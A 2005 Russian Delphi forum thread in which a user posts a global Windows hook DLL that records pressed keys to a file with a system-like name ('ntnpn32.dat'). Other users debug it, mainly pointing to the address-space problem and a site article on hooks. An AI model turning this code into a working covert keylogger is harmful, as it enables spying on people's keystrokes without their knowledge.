Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Проблемы с SetWindowHookEx [D6, Win2k, WinXP]


Страницы:   1 2

KASioZ ©   (2005-01-02 11:09:00) 

Здравствуйте ув. программисты
У меня следующая проблема:
Я устанавливаю глобальную ловушку в системе.
В глобальной ловушке я ловлю все сообщения сис-мы, проверяю сообщение, если сообщение WM_KeyDown, то сохраняем в локальный файл нажатые клавиши.
Почему то моя программа сохраняет данные только в случае если моё приложение активно! Хотя хук глобальный и клавиши передаются в обработчик событий!
Это я проверяю ShowMessage, работает всегда.
Вот код DLL:

library myhookdll;

uses
 SysUtils,
 Windows,
 Dialogs,
 Messages;

var
 HookHandle: HHOOK = 0;
 F: File;

{$R *.res}

function KeyHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
var
buff: array [1..100] of char;
begin
if TMsg(Pointer(lParam)^).message = WM_KeyDown then
       begin
       GetKeyNameText(TMsg(Pointer(lParam)^).lParam, @buff, SizeOf(buff));
       BlockWrite(F,buff,1);
       ShowMessage(StrPas(@buff));
       end;
result:=CallNextHookEx(HookHandle,code,wParam,lparam);
end;

procedure SetKeyHook; export; stdcall;
begin
AssignFile(f,'ntnpn32.dat');
if FileExists('ntnpn32.dat') then Reset(F,1)
else Rewrite(F,1);
if HookHandle = 0 then HookHandle:=SetWindowsHookEx(WH_GETMESSAGE,@KeyHook,hInstance, 0);
end;

procedure UnSetKeyHook; export; stdcall;
begin
CloseFile(F);
if HookHandle <> 0 then UnhookWindowsHookEx(HookHandle);
HookHandle:=0;
end;

exports

SetKeyHook name 'SetKeyHook',
UnSetKeyHook name 'UnSetKeyHook';

begin
end.

Вот код загрузчика:

procedure TForm1.FormCreate(Sender: TObject);
begin
SetKeyHook;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnSetKeyHook;
end;


Eraser   (2005-01-03 23:44:00) [1]

Absolutly correct )))


kaZaNoVa   (2005-01-03 22:43:00) [2]

GuAV ©   (03.01.05 22:40) [20]
забей на 9х =)


GuAV   (2005-01-03 22:40:00) [3]

Да, уже вижу
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/callnexthookex.asp
Первый параметр Ignored. Но ведь в 9х не Ignored !


kaZaNoVa   (2005-01-03 22:21:00) [4]

GuAV ©   (03.01.05 22:19) [18]
ага, имхо можно 0 передавать в виндах 2000 и выше :)))


GuAV   (2005-01-03 22:19:00) [5]

kaZaNoVa ©   (03.01.05 21:55) [17]
ЛЮДИ, не парьтесь - указано же Win2k, WinXP - 0 надо ставить:))))


а в MSDN это написано ?


kaZaNoVa   (2005-01-03 21:55:00) [6]

Davinchi ©   (03.01.05 20:57) [16]

> лучше храни дескриптер полученый от SetWindowsHookEx

ЛЮДИ, не парьтесь - указано же Win2k, WinXP- 0надо ставить:))))


Davinchi   (2005-01-03 20:57:00) [7]

Тя пракильно уже направляли, у меня была подобная проблема - все дело в адресном пространстве, которое занимает твоя ДЛЛ когда ты ее загружаешь, те нужен объект файлового отображения и лучше храни дескриптер полученый от SetWindowsHookEx....
Перечитай статью именно на этом моменте....


Vaitek   (2005-01-03 20:34:00) [8]

Не стоит думать обо всех в серых тонах. Я в статью заглянул, сравнил код со своим, понял что ошибался, но разбираться мне влом, поскольку сейчас мне это совершенно не интересно.


Piter   (2005-01-03 18:47:00) [9]

поразительно как люди готовы целыми днями выпрашивать ответ в форуме, а в тоже время заглянуть в статью и за полчаса разобраться не хотят...


KASioZ   (2005-01-03 18:01:00) [10]

А моим тапочкам ты будешь рассказывать
Что там есть причина неработоспособности DLL
И если ты такой читалец статей, то лучше помог бы!
Я на форумах не просто треплюсь а помогаю по возможности!
Vaitek а что за глюк ?
Когда 2 копии пускаешь ?
Хммм да мне и не нужно 2 копии пускать
и пускаться они не будут


Piter   (2005-01-02 17:30:00) [11]

Vaitek ©   (02.01.05 17:23) [10]
Там глючокс, когда две копии проги сапускаешь


там "глючокс" не только в этом


Piter   (2005-01-02 17:28:00) [12]

KASioZ   (02.01.05 17:01) [9]
Эту статью я тоже читал!


это ты моим тапочкам рассказывать будешь, что ЧИТАЛ (а не просматривал) статью.

Ну ясен пень, супер хакеры не смотрят на всякие там диаграммы и рисунки, и параграфы пояснительные к этим диаграммам не читают - нафиг надо? Там что-то сложновато читать, термины непонятные... Лучше просто не читать это место, а потом на форуме кричать "почему не работает?!"


Vaitek   (2005-01-02 17:23:00) [13]

Там глючокс, когда две копии проги сапускаешь. Я об этом как-то не подумал.


KASioZ   (2005-01-02 17:01:00) [14]

Эту статью я тоже читал!
Но где ошибка ?
Ведь всё делается верно!
ShowMessage(); возращает нормальный результат
а вот в файл почему то не пишет
как будто переменная пуста
А надо чтобы работало под платформой WinNT (NT, 2K, XP, 2K3).
И причем сдесь адресное пространство ?
Ловушка то глобальная


Vaitek   (2005-01-02 15:39:00) [15]

Ну ладно, ладно, где моя походная лопата, пора выкапываться из асфальта. На 2003 винде работает, на ХР тоже.

С замечанием согласен, хотя, как выяснилось, пример я взял не из статьи, а тот что мне вот так же написали на форуме. Давно это было, подзабыл. Так что сорри, за не совсем корекктный пример.


VMcL   (2005-01-02 15:09:00) [16]

>> Vaitek ©  (02.01.05 13:47) [4]

P.S.
> Ну а в третьих, что такое ВАП? Случаем не winapi?

Случаем не winapi. А случаем, Виртуальное адресное пространство.


VMcL   (2005-01-02 15:07:00) [17]

>> KASioZ  (02.01.05 11:09)

> Проблемы с SetWindowHookEx

Нет такой функции в WinAPI. Есть SetWindow sHookEx.

По поводу вопроса, смотрите, как и порекомендовал Piter, статью:
http://www.delphimaster.ru/articles/hooks/index.html

>> Vaitek ©  (02.01.05 13:47) [4]

> Почему плохой пример?

Потому что неправильный.

> Во-первых он списан со статьи на этом сайте.

Верно. Из примера, взятого из example.zip::Example1\hook_dll1.dpr, где в заголовке написано:
// Demo of wronghook - DLL module //
К тому же ясно, что статью Вы не читали, потому что в ней об этом написано:
> Думаю, теперь, разобравшись в исходных кодах библиотек из первого примера, вы поняли, как НЕ надописать DLL, из которых вы устанавливаете глобальные ловушки.

> Во-вторых он работает.

Смотря на какой версии Windows.


KASioZ   (2005-01-02 15:00:00) [18]

Во первых код не списан
Во вторых я понимаю абсолютно каждую строчку
А в третьих лучше помогите разобратся с проблемой
а кто сможет замыльте рабочие сырцы на fakom@Mail.ru


Vaitek   (2005-01-02 13:47:00) [19]

Почему плохой пример?
Во-первых он списан со статьи на этом сайте.
Во-вторых он работает. Могу прислать прогу, если интересно, целиком.
Ну а в третьих, что такое ВАП? Случаем не winapi?


Piter   (2005-01-02 13:27:00) [20]

Vaitek ©   (02.01.05 12:31) [1]

зачем выкладывать какой-то код, если ты в этом коде ни фига не разбираешься и только можешь подать плохой пример?


Страницы:   1 2

Наверх

Титульная страница Поиск, карта сайта Написать письмо